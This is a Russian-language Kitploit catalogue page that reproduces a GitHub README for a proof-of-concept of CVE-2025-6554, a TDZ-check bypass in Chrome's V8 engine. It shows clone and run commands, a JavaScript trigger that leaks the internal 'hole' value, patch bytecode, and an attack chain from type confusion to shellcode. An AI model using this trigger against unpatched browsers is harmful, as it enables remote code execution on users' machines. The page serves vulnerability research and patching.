Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-6554 — CVE-2025-6554 PoC | Kitploit
Инструменты/GitHubGitHub/lordbheem/cve-2025-6554
Анализ уязвимостейЭксплуатацияШелл-кодЭксплуатация веб-приложенийСтатьи и ИсследованияОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHublordbheem/cve-2025-6554

CVE-2025-6554

CVE-2025-6554 PoC

Репозиторий
11 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-6554 Подтверждение концепции уязвимости

License Security V8 Engine

⚠️ Исследовательский проект по безопасности - Данный проект предназначен только для исследовательских и образовательных целей. Не используйте в производственной среде.

📋 Обзор проекта

CVE-2025-6554 — это критическая уязвимость в движке V8 от Chrome, связанная с механизмом проверки "Temporal Dead Zone" (TDZ) в JavaScript. Данный проект предоставляет полный код подтверждения концепции уязвимости и инструменты для демонстрации.

🔍 Описание уязвимости

Уязвимость существует при обработке оператора опциональной цепочки (?.) в движке V8: не выполняется корректная проверка инициализации переменной, что позволяет получить доступ к необъявленным переменным, обходя механизм защиты TDZ.

🎯 Область воздействия

  • Атака с путаницей типов
  • Манипуляция стеком
  • Обход проверки области видимости
  • Утечка памяти
Скачать инструмент

🚀 Быстрый старт

Требования к окружению

  • Node.js 16+ или отладочная версия Chrome V8
  • Современный браузер (Chrome/Edge/Firefox)

Шаги установки

  1. Клонировать репозиторий
root@kitploit:~
git clone https://github.com/9Insomnie/CVE-2025-6554.git
cd CVE-2025-6554
  1. Посмотреть структуру файлов
root@kitploit:~
CVE-2025-6554/
├── Exploit.js              # Оригинальный код эксплойта
├── Test-Exploit.js         # Тестовая версия
├── poc.html                # Файл обнаружения
├── README.md               # Описание проекта
└── 使用说明.md             # Подробное руководство

🛠️ Использование

Способ 1: Использование отладочной версии V8

root@kitploit:~
# Использование отладчика d8 V8
c:\path\to\v8\out\x64.debug\d8 --allow-natives-syntax --print-bytecode Exploit.js

Способ 2: Использование Node.js

root@kitploit:~
# Запуск тестовой версии
node Test-Exploit.js

# Или запуск оригинального кода эксплойта
node Exploit.js

Способ 3: Тестирование в браузере

Откройте HTML-файл непосредственно в браузере (требуется поддержка соответствующих функций).

🔬 Технические детали

Принцип уязвимости

root@kitploit:~
function leak_hole() {
    let x;
    delete x?.[y]?.a;  // использование необъявленной переменной y
    return y;           // должно вызывать ReferenceError
    let y;              // y объявляется здесь
}

Сравнение байт-кода

До патча:

root@kitploit:~
0x32600100133 @   11 : b6 00             ThrowReferenceErrorIfHole [0]

После патча:

root@kitploit:~
0x29f00100133 @   11 : b6 00             ThrowReferenceErrorIfHole [0]
0x29f00100144 @   28 : b6 00             ThrowReferenceErrorIfHole [0]  // новая проверка

Этапы атаки

  1. Срабатывание уязвимости → delete x?.[y]?.a
  2. Обход TDZ → Доступ к неинициализированной переменной
  3. Утечка памяти → Захват значения "The Hole"
  4. Типовая путаница → Использование адресов памяти
  5. Выполнение кода → Исполнение shellcode

📊 Результаты тестирования

Ожидаемое поведение

  • До патча: успешный захват значения "The Hole"
  • После патча: выбрасывается ReferenceError, доступ предотвращен

Метод проверки

root@kitploit:~
# Проверка наличия уязвимости
node Test-Exploit.js

# Просмотр детального байт-кода
d8 --allow-natives-syntax --print-bytecode Exploit.js

🔒 Меры предосторожности

⚠️ Важные замечания

  1. Только для исследований - Данный проект предназначен только для исследований и проверки уязвимости.
  2. Не используйте во вред - Не применяйте для атак или повреждения систем.
  3. Образовательные цели - В основном для понимания механизмов безопасности JavaScript-движка.
  4. Изоляция окружения - Рекомендуется тестировать в изолированной среде.

🛡️ Рекомендации по защите

  • Своевременно обновляйте браузер Chrome
  • Включите безопасную песочницу
  • Отслеживайте аномальное поведение
  • Используйте последнюю версию движка V8

📚 Техническая документация

Связанные ресурсы

  • Официальная документация V8
  • Детали CVE-2025-6554
  • Исследование безопасности JavaScript-движка

Исследовательский контекст

Данная уязвимость была обнаружена исследователями безопасности и связана с механизмом проверки TDZ в движке V8. Используя оператор опциональной цепочки, атакующий может обойти проверку инициализации переменной и получить контроль над памятью.

📄 Лицензия

Этот проект распространяется под лицензией MIT - подробности см. в файле LICENSE.

🙏 Благодарности

  • Команда V8
  • Команда безопасности Chrome
  • Все участники исследований безопасности

⚠️ Отказ от ответственности: Данный проект предназначен только для исследовательских и образовательных целей. Пользователь принимает на себя все риски, автор не несет юридической ответственности.

🔒 Сообщение о безопасности: Если вы обнаружили новые проблемы безопасности, свяжитесь через GitHub Issues.